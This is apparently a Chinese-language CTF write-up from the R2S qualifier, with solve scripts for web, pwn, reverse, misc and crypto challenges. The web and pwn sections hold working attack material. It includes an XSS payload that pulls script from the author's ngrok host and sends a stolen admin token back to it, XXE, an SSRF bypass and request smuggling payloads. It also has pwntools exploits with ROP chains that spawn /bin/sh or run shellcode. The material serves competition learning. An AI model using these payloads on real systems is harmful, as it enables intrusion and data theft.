這次和 AIS3 EOF 時的隊友們以 Unofficial 參加了 R2S
CTF,最後得到了第一名。整體來說我覺得這個 CTF
都算是比較簡單的,不過有些題目也需要足夠了靈力去通出來才行。除了 Stego
和 Forensics
兩類的題目我全部都有解掉,也代表了我在這部分真的蠻弱的。
Welcome
Welcome 的 flag 是放在 Discord channel 用 spoiler
給隱藏起來了,而且因為是每個字元都分別標了 spoiler
所以只能一個一個打開看到 flag。這邊我取得首殺的方法是用 Discord 的
Devtool 直接去把 element 的 textContent
抓出來,效率比較高。後來也有發現一些比較快的其他作法例如用手機 app
長按直接複製,或是點開第一個和最後一個字元,然後選取整段之後 Ctrl-C
也可以。
Web
Chatroom
有個用 aaencode
的 js,直接在 devtool 裡面執行就有 flag 了。
Psychic
網頁上有張端火鍋的圖片,不過如果試著把網頁的連結用其他通訊軟體發,可能會在縮圖看到
flag,根據 flag 內容可以知道似乎是與 libpng 的 rendering
問題有關,在不同軟體中顯示出來的畫面不太一樣。
I'm The Map
可以上傳一個地圖的 KML 檔,它會幫你計算兩點的最遠距離。從 API
response 可以看到裡面會放地名,所以把 KML 的地名部分用 XXE 去 reference
/flag.txt
之後看 API response 就有 flag 了。
有個顯然能 SSRF 的地方,不過直接的 http://localhost
或是
http://127.0.0.1
都會被擋,看一下 header 能發現有
X-Rejected-By: netmask
。去查一下可以看到 SSRF
vulnerability in NPM package Netmask impacts up to 279k
projects ,知道它可能有個能用八進位 ipv4
繞過的可能性,測試之後也可以成功:
1 http://media.web.quals.r2s.tw:10692/get?url=http://0177.0000.0000.0001/play.html
不過 127.1 這種也被說是外部 ip 真的有點
87,作者還說是他手動擋的==
之後會 redirect 到一個頁面看到端火鍋的影片,從 m3u8 中能找到 flag
2,而 flag 1 是藏在某個 resolution 的影片之中,一個一個對影片去 strings
就能看到 flag 了。
只是到底有誰會閒閒沒事對影片去 strings==
Working Status
首先要在 html 中看到有個 /source
可以看到 backend 的
source code。需要有個 jwt signed 的
{"status": "flag", "user": "admin"}
才能拿到 flag。
而頁面上經過簡單測試可以發現有簡單到不行的 XSS,所以目標就是用 xss 以
admin 的身分去 sign,然後把結果傳回來就能自己去看 flag 了。
為了方便,我把 xss 的腳本部分放在自己的 server 上比較好修改,然後 xss
的內容就直接讓它去載入 script 即可。
1 <img src =1 onerror ="s=document.createElement('script');s.src='https://3ccdbb63ba3b.ngrok.io/xss.js';document.body.appendChild(s)" >
1 2 3 4 5 6 7 8 function log (x ){ fetch ('https://3ccdbb63ba3b.ngrok.io/report=' + encodeURIComponent (x)) } log ('loaded' )const s = document .createElement ('script' )s.src = '/sign?status=flag&callback=signed' document .body .appendChild (s)window .signed = log
之後把頁面給 xss bot 之後就能收到能看到 flag 的 token 了。
Calculator 0x1
這題可以 submit 長度上限 54 且都由 .`+|a-z 字元所組成的 js,server
會用 vm2 幫你 eval,結果是要回傳數字 1069 並且要 call sec.disable()
函數才行。
call 函數的部分用 sec.disable`` 很容易可以達成,數字的部分主要是利用
length 以及 "123"|"" 的結果是數字 123 的特點。
所以目標就是湊出字串 0x42d
,然後和空字串去做 or
運算即可。因為 sec.disable()
會回傳空字串所以也能節省字元。
1 +sec.disable `` +`x` +`aaaa` .length +`aa` .length +`d` |``
Simple Book Searcher
一個書的搜尋引擎,試著發送 '
字元可以在 response
直接看到 sql error,還能知道是 MySQL。所以參考 MYSQL
Injection 去用 union select 去取得 database, table, columns
等的資訊撈回來就能知道 flag 在哪,然後也能得到 flag。
這題很少人解我是真的沒想到的,因為只是非常基本的 sql injection
而已
Smart IoT
目標是一個 node 14.15.3 + express 的 server,跑在 haproxy 1.5.3
之後,flag 內容放在 /info
這個 endpoint 的 response
之中。只是 haproxy 用了這邊的設定把該 route 給擋住了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 global daemon maxconn 576 defaults mode http timeout connect 1000 ms timeout client 10000 ms timeout server 10000 ms frontend http-in bind *:80 default_backend back acl x path_beg -i /info http -request deny if x backend back server server1 127.0.0.1:8080 maxconn 128
去查了一下版本可以看到 CVE-2020-8287 ,知道這個組合能用
TE-TE 去 request smuggling 繞過 haproxy 的 ACL。經過測試,下面的 payload
確實能讓 node 的部份收到 GET /info
的 request,不過
response 卻會直接被斷掉,沒辦法看到 flag 的 response。
1 2 3 4 5 6 7 8 9 POST / HTTP/1.1 Transfer-Encoding : chunkedTransfer-Encoding : invalid_value0 GET /info HTTP/1.1
題目後來的 hint 有說可以去研究 haproxy 和 nginx 預設處裡 websocket
的不同點,能發現到多加上一個 Connection: Upgrade
就能很神奇的得到 response 了,不過如果再多一個
Upgrade: websocket
又會失敗,這我不知道是什麼緣故。
不過能得到 response 的部份我有去查一下,可以在 haproxy 1.5.3 的
changelog 裡面看到這麼一句話:
1 MEDIUM: http: refrain from sending "Connection: close" when Upgrade is present
完整的成功 payload (CRLF):
1 2 3 4 5 6 7 8 9 10 POST / HTTP/1.1 Transfer-Encoding : chunkedTransfer-Encoding :Connection : Upgrade0 GET /info HTTP/1.1
Pwnable
Buffer Builder
可以直接 buffer overflow,目標要偽造出一個 struct 通過檢測就能得到
flag 了。我這邊是用 gdb 結合 cyclic 指令(pwntools 隨附的)去算
offset,然後塞入指定的資料即可。
base64 encoded 的 input:
1 YlVpTGRFXzdoM19CdWZmM3IheHjvvq3eNxM3EzMzMzNCRYZkCg==
Echo Heap
題目有三個在 heap 上面的 buffer,一個是 format string
的內容,一個是可以供使用者輸入的
buffer,一個是額外的字元。它會反覆用同個 format string 去 scanf +
printf,沒有擋 buffer overflow。
用 C 表示如下:
1 2 3 4 5 6 7 8 9 10 char *buf = malloc (0x64 );char *fmtstr = malloc (0x64 );char *c = malloc (0x4 );int result = 0 ;strcpy (fmtstr, "echo!\nheap\n%s%c" );do { result = scanf (fmtstr, buf, c); printf (fmtstr, buf, 10 ); } while (result > 0 );
因為 buf
是在 fmtstr
前面得到的,利用
buf
的 overflow 可以修改到 fmtstr
的值,所以可以繼續利用 format string exploit。
這題有個比較麻煩的地方是它的 scanf
和
printf
都用同個 format string,因為會檢查
scanf
的 return value
所以還需要按照它的格式進行輸入才行。
首先是要 leak libc 的位置,這個可以用 %13$p
找到,leak
之後要想辦法控制 rip 才行。用 gdb 可以發現到 %10$s
所指的位置正好是 rbp 的位置,所以可以用 %10$s
去寫入 rop
chain。
組合起來的流程就是先用 format string
printf("x%10$s-%13$p-")
得到 libc address,然後
scanf("x%10$s-%13$p-")
就能寫入 rop chain,只要讓它不符合
format 就能離開 loop 然後 return 到 rop chain 上面了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *context.terminal = ["tmux" , "splitw" , "-h" ] context.arch = "amd64" libc = ELF("./libc.so.6" ) io = remote("echo.pwn.quals.r2s.tw" , 10101 ) io.sendline(b"echo!\nheap!\n" + b"a" * 112 + b"x%10$s-%13$p-" ) io.recvuntil(b"-" ) addr = int (io.recvuntilS("-" )[:-1 ], 16 ) print (hex (addr))libc_base = addr - 0x0270B3 print ("libc base" , hex (libc_base))binsh = libc_base + next (libc.search(b"/bin/sh\0" )) pop_rdi = libc_base + 0x26B72 pop_rsi = libc_base + 0x27529 pop_rdx_rbx = libc_base + 0x162866 execve = libc_base + libc.sym["execve" ] rop = flat([pop_rdi, binsh, pop_rsi, 0 , execve]) io.sendline(b"x" + p64(0 ) + rop) io.interactive()
Guess Dice 🎲
題目一開始會用 gettimeofday
得到時間資訊,然後把
tv_sec
和 tv_usec
的 low 16 bits xor 之後用
srandom
設 seed,之後用 system("date")
告訴你
server 的時間。主程式的地方會有些關於 rand()
的東西需要用到,所以必須要能預測隨機數。
顯然這邊是可以用時間資訊去恢復 seed,不過 date
指令給你的時間資訊並不是很詳細,沒辦法得到 us
級別的時間精度,不過這部分可以簡單的暴力找即可。
find_usec.c
:
這個程式從 argv
中得到 sec
,以及第 7~12 個
rand()
的輸出,然後可以很快的暴力找出 usec
的值。
編譯指令: gcc find_usec.c -o ./find_usec -Ofast
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include <stdlib.h> #include <stdio.h> #include <math.h> #include <sys/time.h> int main (int argc, char **argv) { if (argc < 2 + 6 ) { return 1 ; } int ar[6 ]; for (int i = 2 ; i < 2 + 6 ; i++) { ar[i - 2 ] = atol (argv[i]); } int sec = atol (argv[1 ]); for (int usec = 0 ; usec <= 0xffffffff ; usec++) { srandom (sec ^ usec); for (int i = 0 ; i < 6 ; i++) { rand (); } int i = 0 ; for (; i < 6 ; i++) { if (rand () != ar[i]) break ; } if (i >= 6 ) { printf ("%d" , usec); break ; } } return 0 ; }
rand.c
:
接受三個參數 sec
usec
和
n
,生成以 srandom(sec ^ usec)
之後跳過 12
個數字之後的 n
個 output,方便之後寫在 python 的 script
呼叫。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #include <stdlib.h> #include <stdio.h> #include <math.h> #include <sys/time.h> int main (int argc, char **argv) { if (argc < 4 ) { return 1 ; } int sec = atol (argv[1 ]); int usec = atol (argv[2 ]); int n = atol (argv[3 ]); srandom (sec ^ usec); for (int i = 0 ; i < 12 ; i++) { rand (); } for (int i = 0 ; i < n; i++) { printf ("%d\n" , rand ()); } return 0 ; }
主程式的一開始會先骰 6 個骰子 rand() % 6
,然後進到一個
100 次的 loop 中讓你去讀取/修改或是預測骰子的值。read 的時候可以指定
index,沒有做額外檢查,所以可以任意 leak 東西。write 的時候也可以指定
index 和一個 val,會寫入 dice[idx]
的地方寫入
val ^ rand()
。預測的時候要預測 6 個骰子的值,它會比較
input ^ rand() == dice[i]
,全部都要正確才能離開 loop 然後
return,如果是次數到達上限才離開 loop 的話會直接
exit(-1)
,不能 return。
流程就先 write index = 0~5,val 都用 0,之後再 read 六次之後就能得到
6 個 rand()
的 output。之後呼叫 find_usec
和
rand
就能得到之後未來的所有 rand()
output
了,這樣預測骰子的值就很簡單了。
要控制 rip 的話可以利用 index 越界寫入,因為 dice
在
stack 上面,所以越界寫入能寫入到 ret 的地方,透過知道
rand()
的值就能精確的寫入 rop chain 了。
此題是 static binary, no pie,所以很容易 rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *from dateutil import parserfrom subprocess import check_outputcontext.terminal = ["tmux" , "splitw" , "-h" ] context.arch = "amd64" def read (idx ): io.sendlineafter(b"> " , "0" ) io.sendlineafter(b"Dice number want to read> " , str (idx)) io.recvuntil(b" is " ) return int (io.recvlineS().strip()) def write (idx, val ): io.sendlineafter(b"> " , "1" ) io.sendlineafter(b"Dice number want to change> " , str (idx)) io.sendlineafter(b"Value with hash> " , str (val)) io = remote("dice.pwn.quals.r2s.tw" , 10103 ) io.recvuntil(b"Server Time: " ) timestr = io.recvlineS().strip() sec = int (parser.parse(timestr).timestamp()) for i in range (6 ): write(i, 0 ) nums = [read(i) for i in range (6 )] args = str (sec) + " " + " " .join(map (str , nums)) usec = int (check_output(["./find_usec" , str (sec), *map (str , nums)])) print (sec, usec)nums = [ int (x) for x in check_output(["./rand" , str (sec), str (usec), "300" ]).split(b"\n" ) if x ] def rand (): global nums ret = nums[0 ] nums = nums[1 :] return ret def do_predict (): dices = [] for i in range (6 ): write(i, 0 ) dices.append(read(i)) print (dices[-1 ], rand()) io.sendlineafter(b"> " , "2" ) for i in range (6 ): io.sendlineafter(b"Dice Value with hash> " , str (rand() ^ dices[i])) io.interactive() pop_rdi = 0x4018EA pop_rsi = 0x40F71E pop_rdx = 0x4017EF pop_rax = 0x45B857 syscall = 0x4012E3 binsh = 0x4B69EB def write_qword (idx, val ): write(idx, rand() ^ val) write(idx + 1 , rand() ^ (val >> 32 )) write_qword(14 , pop_rdi) write_qword(16 , binsh) write_qword(18 , pop_rsi) write_qword(20 , 0 ) write_qword(22 , pop_rdx) write_qword(24 , 0 ) write_qword(26 , pop_rax) write_qword(28 , 59 ) write_qword(30 , syscall) do_predict()
Email Sender
這題核心的部份大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct Mail { char email[64 ]; char subject[64 ]; char *content; void (*sendMail)(struct Mail*); } mail; init (&mail); printf ("Email:" );gets (mail.email);printf ("Subject:" );gets (mail.subject);mail.content = mmap (mail.content, 0x1000 , 7 , 34 , -1 , 0 ); gets (mail.content);mail.sendMail (&mail);
可以知道能 buffer overflow 把 content
以及
sendMail
的部份蓋掉,所以可以控制 rip。不過問題在於要把 rip
控制到什麼地方,因為這題並沒有 leak address 的地方,還有 PIE
所以也都不知道 address 在哪。
此題關鍵在於 mmap
的 address 如果是 0
就會隨便分配一塊區塊,否則會找一個最近的 page boundary
分配出來。所以可以先控制好 content
的值到一個 page boundary
上面,然後用 gdb 去檢視那個位置然後 copy 下來即可。再來因為
mmap
的 block 是 RWX,所以在上面寫 shellcode,然後再控制
sendMail
到 shellcode 上面即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.terminal = ["tmux" , "splitw" , "-h" ] context.arch = "amd64" addr = 0x00007FFE0F0DC000 io = remote("email.pwn.quals.r2s.tw" , 10102 ) io.sendlineafter(b"Email: " , "asd" ) io.sendlineafter( b"Subject: " , cyclic(0x60 ) + p64(addr) + p64(addr), ) io.sendlineafter(b"Content: " , asm(shellcraft.cat("/flag" ))) io.sendlineafter(b"correct?" , "y" ) io.interactive()
PS: 此題有 seccomp,所以不能拿 shell
File Manager v0.0.1
這題可以讓你隨便 open 一些 file,裡面還有個很容易觸發的 backdoor
直接幫你執行 /bin/sh
。binary 還是有 suid,一開始的 gid 是
3333 的,只是在執行前會先 setgid 到 1000,而且在
/home/file_manager/flag
的 flag 只有 root 和 gid 3333
的人才能讀取,所以直接 get shell 的時候沒辦法
cat /home/file_manager/flag
。
題目的關鍵是先利用 gid 還是 3333 的時候先
open("/home/file_manager/flag", 0)
,然後 fd 3 就會是那個
file 的 file descriptor。
我一開始一直 cat /proc/self/fd/3
得到 permission deined
的錯誤,後來才知道是因為 cat
會用 openat
的
syscall
所以沒辦法這樣做。不過賽中我一直卡在那個地方,後來隊友發現可以自己
upload 一個 binary 上去去 read(3, buf, 1000)
才解掉的,後來賽後才知道可以直接用 cat <&3
從 fd 3
讀取資料。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import remotefrom base64 import b64encodewith open ("./read.tgz" , "rb" ) as f: bin = f.read() print (len (bin ))io = remote("file.pwn.quals.r2s.tw" , 34567 ) for _ in range (8 ): io.sendlineafter(b"> " , "2" ) io.sendlineafter(b"File ID > " , "0" ) io.sendlineafter(b"> " , "1" ) io.sendlineafter(b"File Name > " , "/home/file_manager/flag" ) io.sendlineafter(b"> " , "333" ) io.recvuntil(b"Welcome Admin!\n" ) io.sendline(b"bash" ) io.interactive()
Stego
Barcode in Image
隊友解的,我不會==
Music Xor
我不會通靈這題,最後也沒解掉這題。
這題也是到最後都解不掉的題目,不過解不掉的原因是我被 ffmpeg
坑了。
題目給了一個損壞的 mp4,然後 hint 有說原本的檔案格式是
hevc,去查一下可以知道能用 untrunc 去復原。untrunc
需要一個格式差不多且可正常播放的檔案才能復原壞掉的
mp4,所以我就有下載端火鍋的影片然後用 ffmpeg 重新用 hevc
encode,之後也能用 untrunc
修復成功,不過播放的時候只有聲音正常,畫面完全是損毀的。
賽後才知道我這個做法是正確的,其他人也有人用一樣的做法成功,後來才發現是
Debian 的 ffmpeg version 4.3.2-0+deb11u2
hevc encode
之後的影片怪怪的,結合 untrunc
修復出來的結果都沒辦法用,換個版本重新做一次就成功了...。
Reverse
What is this!?
一樣是 aaencode 的 js,把最後的一組括號去掉再執行就能看到 js
function,toString
後就能 reverse 然後看到 flag 了。
pAtCh_mAn
這題沒有輸入,裡面會直接做一些檢查然後看情況 print flag,我這邊直接用
gdb 進去下斷點,然後在適當的地方修改 memory 之後就能通過檢查,然後看到
flag。
此題還有個 bonus,可以在另一個函數看到一個 hex encoded
的字串,解完之後可以發現是個 substitution cipher,用 quipquip
和作者名稱等等的資訊可以解出來,最後會得到一個在 CloudFlare Workers
上面的 goindex,裡面有放一個 お願い!コンコンお稲荷さま
的 flac。
Jumping_master
有個 DOS 的 16-bit 程式,在 IDA 裡面能看到它有個地方會直接
exit,所以先把那部分 patch 成 NOP 之後再執行一次會看到 3 個 YT
影片網址,不過都和 flag 無關。再看一下會發現有個 call si
的東西怪怪的,把它也 NOP 掉之後再執行就有 Thanks for
playing,然後同個目錄下就會出現 FLAG 檔案,裡面就是 flag 內容了。
Misc
Time Traveler
可以發現它的時間越往未來輸入,就會越往前,隨便算一下可以知道輸入
2071-01-01
就能得到 1937 年並看到 flag 了。
Kon!Kon!Kon!
直接 nc 看不到什麼特別的,不過 pipe 到 xxd 之後會發現有用 CR
把額外的資訊給藏起來了,之後輸入 Kon?!OuO
進到
terminal,執行 ./read_flag
解它的一個加法就能看到 flag
了。
1 2 3 4 5 6 7 8 9 10 from pwn import remoteio = remote("konkonkon.misc.quals.r2s.tw" , 3333 ) io.sendline("Kon?!OuO" ) io.sendlineafter("Terminal" , "./read_flag" ) io.recvuntil(b'Kon!!\n' ) ans = eval (io.recvlineS().split('=' )[0 ]) io.sendline(str (ans)) io.interactive()
Weird Picture
用 zsteg 可以在圖片後面發現有個 powershell
的腳本,修改一下它之後它可以從圖片中 extract 出更多的
powershell。簡單理解一下之後可以知道是 flag
checker,比較方法是把每個字元 md5 之後和一個 md5 list
比較而已,所以一個一個暴力逆回去之後就能知道 flag 了。
Fat7z
一個反覆 encode 過的 flag,直接 dfs 暴力解回去而已。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from base64 import *import gzipimport syswith open ('data' , 'rb' ) as f: data = f.read() def dfs (data, deep=0 ): print (deep) if data.startswith(b"R2S" ): print (data) sys.exit(1 ) if deep == 350 : return ddata = gzip.decompress(data) try : dfs(b32decode(ddata), deep+1 ) except : pass try : dfs(b64decode(ddata), deep+1 ) except : pass try : dfs(b85decode(ddata), deep+1 ) except : pass dfs(b85decode(data), 0 )
How Regular is This
一個 regex crossword,直接手動解掉即可,大概 20 分鐘就能完成。
1 2 3 4 5 6 7 8 9 10 R2S{R3GE X_IS_FUN ,_R19H7? _I7_C4N_ FETCH_AN YTH1NG_U _WAN7_FR 0M_UR_L0 G5_AND_W EBP4GE5}
IP Over Telegram
題目給了一個利用 Teletun
- IP over Telegram 進行通訊的紀錄,該專案是把利用 TUN 把 traffic 用
base64 encode 之後在 telegram 上面 tunnel 而已。
經過觀察可以發現把每個 packet 的前 56 bytes
丟掉之後就能得到真正需要的內容,我認為那應該是 TCP header
吧,大概...。
所以之後就自己寫個 decode 腳本把裡面的 http 檔案都匯出,之後把分段的
7z 檔案解開就能看到 flag 的圖片了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from base64 import b64decodefrom hashlib import md5with open ("messages" ) as f: fname = [] for line in f: try : data = b64decode(line)[56 :] if b"GET /" in data: fname.append(data.split(b" " )[1 ].decode()[1 :]) print (fname) if len (data) == 100 : print (fname[0 ], md5(data).hexdigest()) with open (fname[0 ], "wb" ) as f: f.write(data) fname = fname[1 :] if fname[0 ] == "owo.7z.014" and len (data) == 8 : print (fname[0 ], md5(data).hexdigest()) with open (fname[0 ], "wb" ) as f: f.write(data) fname = fname[1 :] except Exception as ex: pass
Crypto
Base1024
搜尋題目名稱可以找到 Ecoji.co ,直接用那個網站 decode 即可。
BiGGG_RSA
生成 n 的 code 如下:
1 2 3 4 5 6 7 n = 1 tmp = getPrime(50 ) for i in range (7 ): print (i) n *= tmp tmp = next_prime(n)
所以知道 n 每次乘的時候大小都差不多,所以可以反覆利用 fermat
去分解,之後 decrypt 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import gmpy2from Crypto.Util.number import *from operator import mulfrom functools import reducec = 43287572946133999679003735040387344127911611182808205416405340436402711791124904716956050215222149432404252982726093612310126853684044893133451080784922546867979305887527341522615891700842739784180798728162964536615110423273474573061375674575358516473194933233191614744557561571795234577569077605774440206671520694303064935378346965018255912344270318742324474073059659921239910378094711647856605360702133049986762428263614930247138733753169574250495738488144028395839583656222122838757806660956187829512998478544218493357681032722607971901002335911130687294364258838947818958702569582383274402930779878227555773798951104426309593822135727192814371302526960446331418055089056102121184008054507818173882740756768936506059156708316636852167412757511278933158635111355493760449900904638488978129072614518270375585858253473053449079165988636670446524141040388634289982864136445828197998940591994740072330066449402397902067067938402816758285008347470945818785037071222 e = 65537 n = 49248622972883851711386773455830941328351955764259345946275655818095450119281668147711077976526069530558696111959853311806481077621800598183620494089748868339934079479256403334873789607223206392698833208921911826473122864960856683393931315628102436483600181592788139749447807966060401223420398629804561406823594768438050769399298866282693582476372602460408099273890946477923597996189791010405673952929883596849090199166229944870159132656023322389928014497823730792199299526670301776538211591013386108486242072572141302961049691459414144342873488725383807775623095757669916252713386097446164615988267448787488882714337512383757276427435170226179741896211987287700559055118241195168305419636171140380170619844075760102525868001340847812251155677258069913516070602010353045567322057573785548126105990222018024292025671709566504624736894934257577458243520695760428468683663677350298213802301963600464571031366408565104104538078478012644137353387858275698095762674627 def fermat (x, mx=1000 ): a = gmpy2.isqrt(x) b2 = a * a - x cnt = 0 while not gmpy2.is_square(b2): a += 1 cnt += 1 if cnt == mx: return b2 = a * a - x b = gmpy2.isqrt(b2) return a + b, a - b def factor (n ): p, q = fermat(n) fac = [] if not isPrime(p): fac += factor(p) else : fac += [p] if not isPrime(q): fac += factor(q) else : fac += [q] return fac fac = factor(n) assert reduce(mul, fac) == nphi = reduce(mul, (x - 1 for x in fac)) d = gmpy2.invert(e, phi) m = gmpy2.powmod(c, d, n) print (long_to_bytes(m))
Seeeeed
這題的預期解法是暴力用時間往回推找 random seed,然後就能分解那些 RSA
的 n 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 ns = [260634525524533903012690050767761847060552114922740001388159725787723716406020999293635211220503083237 , 208095678966688821844479773849088950638944633557616238151123335222899046286902783 , 257979573430413729952126829110820754255590168827983489589181784816491809972695059 , 27243853461323387808300873515072056902530035743581988124468140982020916628636339101 , 274294960917112555155918743231115476048475321832747350566866116355816894882516483 , 291153654572421277161272319821881945338417542318103307006007431811050578618319633 , 1264614018826395575718768267659554806208758592967928546141376334987200797765109201 , 215356595628359003442692204466385178410717803540992865178965327846944469985078717 , 275798075765296633158782154395021668434841804868451919714742518641677209524386239 , 203959691383036080416056049068597820621920194509335375338001584394846436848778573 , 172318838323449236035296154148872274753763285156663504522766377433747381712046437 , 2551733082240613507692268659153484068913424701145121919418041466166347388772109929 , 177817867186884785941829869444106898938776952217040896942441467249110603000565527 , 13699344913073626306878374150277151744545010780157931205343770628112921943767720673 , 274603578897156037730538510879106960475281610547931476478488792542562967969758169 , 1021688707360268777351035532335218613477164972796776067732317113426196466189058857 , 11303711116746364836230503067790137605917877750394683941432835864580851232762670437 , 243495874435731571155030324017802176115338017548563228509041073628055194125290167 , 4210086242379040026181928282787339610454119020281654630754512506326442565509313353 , 279098144908475422995174461690215596619979080957432236763400286359406022381502899 , 1142276742953704568977370705422406376114491107782617817012681417749795459206323997 , 1234223605952796613308102981831034107115216741547398609057839879247554476528064163 , 1115297868611802649319686724893372541528724052860522151900018161307989512692927891 , 771909112654534347958718785103330152314820235006730551077142224822695902658667399 , 250000775556680592196031987059288134052847572497760134202853927382497548012063151 , 170063094937389940579068822372209592974481256340198322480780057577365688733737243 , 153432640836172777814508025444093964756390707854295282127485450154828573764281989 , 350521775997315362036095345582136781928565124549941218378580615630801586334289953 , 328086570801403898875073311230391353258645659329103798885061005491842872808666233 , 309698664948004135943390545911374267184936986335013424421317454742291838144931691 , 17753951678760831078080973140471615230943167318953679469750484716451406113414158311 , 380839925470311031055697009339283650201049325890416481845377602075223796687235643 , 18286702214336038429541856832563948834041300267917021102336407067688654506630341827 , 60359977403251459016771406971274965445963819939677459162816875699358612290156163483 , 278747472153129524796215056208523381106123959436640229493158520782297847569496123 , 3835257278211128259058432605573722550260251822254869366378362839711692867831987743 , 8772911744802850733380926186876743272025561945864055191902568438648421247866060528011 ] cs = [168324827824206027757963652608328154751150612172746909995666631233062936087781039335378554527748186697 , 130617575815982628554636126172184393182042976671872563630075153822805242079268380 , 102809175525572947369404325465067957368528820323716896932293392441207897241162106 , 26510445477009605745725613637211176100090811064820601782341981709429706877186511884 , 265447636845150591433878737556659417237035086612618675351208502604167306736559048 , 24319737652721169825528803678105943693722065855067626375626421576009657837968691 , 903349808383738532864672035305340485438724224938442183989776291470107772503368448 , 25102606021422924705896453615502010127342602023957589138728530721032348624846905 , 53973589983836253173577401704499774942292805499835176323917577336233307808046032 , 139362107334098998953108826961665620893893707993106446002007437263380823913671715 , 22393501700438832858853797921488776680986297064233536837770621972716803189749943 , 2548574030243119028744139573507485556898153200655055113765034188330694195031459906 , 52489394155645831764544707933361030981677908207259488105445148989800468433752897 , 6250019693861336237390098776797359530471988801874695977726521776798120303443963879 , 66512533155280045074503459588144597554965640207915686826940254082577850705466247 , 491849516573421165425636440914444494059244603886473708847218553532410313512844419 , 1176813002097324842964847401366126169231600430855511881901506489852185032618265570 , 188422590589899047195259429088196391250066043167218733709175935641538384543823714 , 2074255496576202379288582635657157635141681692751584998679422766083321184449743137 , 76607218350654225967358181385063684974503838071840477210881977349853066122015584 , 268269262358948400352414043377630243497423983157487241891838775312266965658187624 , 188472314699881909737963062508226914748343519892578653567454774777763623787635414 , 897161360553250913742509185428871487269534315677820253500436092967096983223590841 , 359086933207289842171751612803773923497313773002461379560697925340906969631580148 , 191337336238218979797727216988524937980116332283935111076884824781075217022129682 , 53366153717987266046331918568520810526003388892521788994147885483696076039901087 , 115261829190735685298108304481910868538184390322784339988275136090107409092318229 , 221205179330812112863350554831136698682517777762201913306141470683838942400740430 , 224161320349442835161020066533633200106514001862983237572820066571727747297818919 , 109864940977223157354897007217633842419798366128833448222905811325507349629348861 , 2955514070204944644143519717315850247262021426864569588832071663945292583405011073 , 205640591252875284012121950003466015621718524224073430055156076235706136617600293 , 2912769900155402319312331305500539113469985250702347761152562348415328406828346453 , 53277041267060499328150331178272978283908033800055762551754407395149317153237389783 , 18103453177057839546488042481723259026905868382704927873137182443880686317623884 , 1319726331778501297956354956533726004358324384142102624097090385168102573652232168 , 5662029275219406340853890855725203744874150490741210699817647640149564730621919633080 ] e = 65537 from random import *from Crypto.Util.number import bytes_to_longfrom gmpy2 import next_primee = 0x10001 N = 1083431725045970484586186177942248908050424478782004838696639 def seeed (t, tmp ): if t == 0 : return tmp tmp = randint(1e10 , 1e20 ) seed(tmp) return seeed(t - 1 , tmp) t = 1624788700 seed(t) ps = [int (next_prime(N // seeed(i, t - i))) for i in range (len (ns))] qs = [n // p for n, p in zip (ns, ps)] phis = [(p - 1 ) * (q - 1 ) for p, q in zip (ps, qs)] ds = [pow (e, -1 , phi) for phi in phis] ms = [pow (c, d, n) for c, d, n in zip (cs, ds, ns)] print (ms)print (bytes (ms)[::-1 ])
這題還有個比較簡單的解法是可以注意到 ,所以暴力找也可以:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ns = cs = e = 65537 import gmpy2def brute (n, e, c ): for x in range (256 ): if gmpy2.powmod(x, e, n) == c: return x print (bytes ([brute(n, e, c) for n, c in zip (ns, cs)])[::-1 ])
2-AES
這題需要暴力找 AES key,正常的 search space 是 ,不過因為它有提供一組已知的
plaintext 和 ciphertext,所以用 meet in
the middle attack 可以壓到 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from tqdm import tqdmfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom itertools import productnotflag = bytes .fromhex("5232537b316d5f6e30375f666c34367d" ) notflagC = bytes .fromhex( "506bc537abd10ffebe9c2f007ee4e1f60642c5aaf12d71c1a9983a562560111b" ) flagC = bytes .fromhex( "ba23c2c60f9acbd36077b93cfecf5e201afae755f0341984ff642593dc1263bbd89eba3e5eb47a7573b4cb0f6c37875f9c32525bb9416dcfdfb776e85dd787f5" ) padded = pad(notflag, 16 ) kpre = b"make_it_easy_" table = {} for a in tqdm(product(range (256 ), repeat=3 ), total=256 ** 3 , desc="first" ): k1 = kpre + bytes (a) ct = AES.new(k1, mode=AES.MODE_ECB).decrypt(notflagC) table[ct] = k1 for a in tqdm(product(range (256 ), repeat=3 ), total=256 ** 3 , desc="second" ): k2 = kpre + bytes (a) ct = AES.new(k2, mode=AES.MODE_ECB).encrypt(padded) if ct in table: k1 = table[ct] print (k1, k2) flag = unpad( AES.new(k2, mode=AES.MODE_ECB).decrypt( AES.new(k1, mode=AES.MODE_ECB).decrypt(flagC) ), 16 , ) print (flag) break k1 = b"make_it_easy_bh\x10" k2 = b"make_it_easy_;L\x92" flag = b"R2S{m461c4l_bru73f0rc3_1_G37_17_l1k3_f1v3_m1nu73}"
Not morse
通靈、通靈和通靈...
